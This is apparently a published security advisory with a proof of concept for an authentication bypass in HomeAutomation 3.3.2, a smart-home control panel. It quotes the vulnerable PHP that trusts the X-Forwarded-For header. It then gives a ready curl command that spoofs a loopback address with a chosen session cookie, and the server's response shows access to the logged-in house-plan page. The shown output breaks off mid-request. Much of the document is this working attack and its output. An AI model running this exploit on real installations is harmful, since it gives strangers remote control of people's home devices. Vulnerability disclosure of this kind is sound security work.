# Exploit: HomeAutomation 3.3.2 - Authentication Bypass # Date: 2019-12-30 # Author: LiquidWorm # Vendor: Tom Rosenback and Daniel Malmgren # Product web page: http://karpero.mine.nu/ha/ # Affected version: 3.3.2 # Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips # Advisory ID: ZSL-2019-5557 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5557.php HomeAutomation v3.3.2 Authentication Bypass Exploit Vendor: Tom Rosenback and Daniel Malmgren Product web page: http://karpero.mine.nu/ha/ Affected version: 3.3.2 Summary: HomeAutomation is an open-source web interface and scheduling solution. It was initially made for use with the Telldus TellStick, but is now based on a plugin system and except for Tellstick it also comes with support for Crestron, OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers, etc.) based on an advanced scheduling system, taking into account things like measurements from various sensors. With the houseplan view you can get a simple overview of the status of your devices at their location in your house. Desc: The application suffers from an authentication bypass vulnerability when spoofing client IP address using the X-Forwarded-For header with the local (loopback) IP address value allowing remote control of the smart home solution. =============================================================================== /modules/login/login.module.php: -------------------------------- 19: if(!defined("HomeAutomationIncluded")) { die("HomeAutomation: Direct access not premitted"); } 20: 21: if($_SESSION[CFG_SESSION_KEY]["userlevel"] < 1 && $action == "default" && isIpLocal() && getFormVariable("autologin", "") == "") 22: { 23: // if user is not logged in and action is default, user is visiting locally and autologin is NOT set, allow autologin. 24: $action = "login"; 25: } 26: 27: ?> =============================================================================== /functions.php: --------------- 733: function isIpLocal() { 734: 735: if(substr(getIpAddress(), 0, 4) == "127.") { 736: return true; 737: } 738: 739: $isIpLocal = false; 740: 741: $localip = $_SESSION[CFG_SESSION_KEY]["settings"]["localip"]; 742: 743: $localnets = explode(";", $localip); 744: foreach($localnets as $localnet) { 745: list($localnet, $localmask) = explode("/", $localnet); 746: if($localmask == "") { 747: $localmask = 32; 748: } 749: if($localmask == "" || $localmask > 32 || $localmask < 0) { 750: $localmask = 32; 751: } 752: 753: // $mask = $localmask; 754: 755: $localnet = ip2long($localnet); 756: $localmask = ~((1 << (32-$localmask)) - 1); 757: $remoteip = ip2long(getIpAddress()); 758: $maskedip = $remoteip & $localmask; 759: $maskednet = $localnet & $localmask; 760: 761: // echo "<br />localnet:"; 762: // printf('%1$32b', $localnet); 763: 764: // echo "<br />localmask: (dec: ".$mask.")"; 765: // printf('%1$32b', $localmask); 766: 767: // echo "<br />remoteip:"; 768: // printf('%1$32b', $remoteip); 769: 770: // echo "<br />maskedip:"; 771: // printf('%1$32b', $maskedip); 772: 773: // echo "<br />maskednet:"; 774: // printf('%1$32b', $maskednet); 775: 776: if($maskedip == $maskednet) { 777: // echo "<br />maskedip == maskednet"; 778: $isIpLocal = true; 779: break; 780: } 781: } 782: // $isIpLocal = false; 783: return $isIpLocal; 784: } 785: 786: function getIpAddress() { 787: return isset($_SERVER["HTTP_X_FORWARDED_FOR"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 788: } =============================================================================== Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips Apache/2.4.29 (Ubuntu) PHP/7.4.0RC4 PHP/7.3.11 PHP 7.2.24-0ubuntu0.18.04.1 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2019-5557 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5557.php 06.11.2019 -- PoC auth bypass and arbitrary cookie setup grepping auth'd content view: ------------------------------------------------------------------------ root@kali:~/homeautomation# curl -sk --user-agent "ZSL/0.2 (SpoofDetect 1.0)" https://192.168.2.113/index.php -H "X-Forwarded-For: 127.31.33.7" -vL --cookie "PHPSESSID=11111111110000000000666666" |grep Macros * Trying 192.168.2.113... * Connected to 192.168.2.113 (192.168.2.113) port 443 (#0) * found 173 certificates in /etc/ssl/certs/ca-certificates.crt * found 696 certificates in /etc/ssl/certs * ALPN, offering h2 * ALPN, offering http/1.1 * SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256 * server certificate verification SKIPPED * server certificate status verification SKIPPED * common name: n28.nux.se (does not match '192.168.2.113') * server certificate expiration date OK * server certificate activation date OK * certificate public key: RSA * certificate version: #3 * subject: CN=n28.nux.se * start date: Mon, 21 Oct 2019 12:18:27 GMT * expire date: Sun, 19 Jan 2020 12:18:27 GMT * issuer: C=US,O=Let's Encrypt,CN=Let's Encrypt Authority X3 * compression: NULL * ALPN, server accepted to use http/1.1 > GET /index.php HTTP/1.1 > Host: 192.168.2.113 > User-Agent: ZSL/0.2 (SpoofDetect 1.0) > Accept: */* > Cookie: PHPSESSID=11111111110000000000666666 > X-Forwarded-For: 127.31.33.7 > < HTTP/1.1 303 See Other < Date: Wed, 20 Nov 2019 01:06:16 GMT < Server: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips < X-Powered-By: PHP/7.3.11 < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Strict-Transport-Security: max-age=63072000; includeSubdomains < X-Frame-Options: DENY < X-Content-Type-Options: nosniff < Location: ./index.php?page=houseplan < Content-Length: 0 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host 192.168.2.113 left intact * Issue another request to this URL: 'https://192.168.2.113/index.php?page=houseplan' * Found bundle for host 192.168.2.113: 0x55c160ef7c40 [can pipeline] * Re-using existing connection!
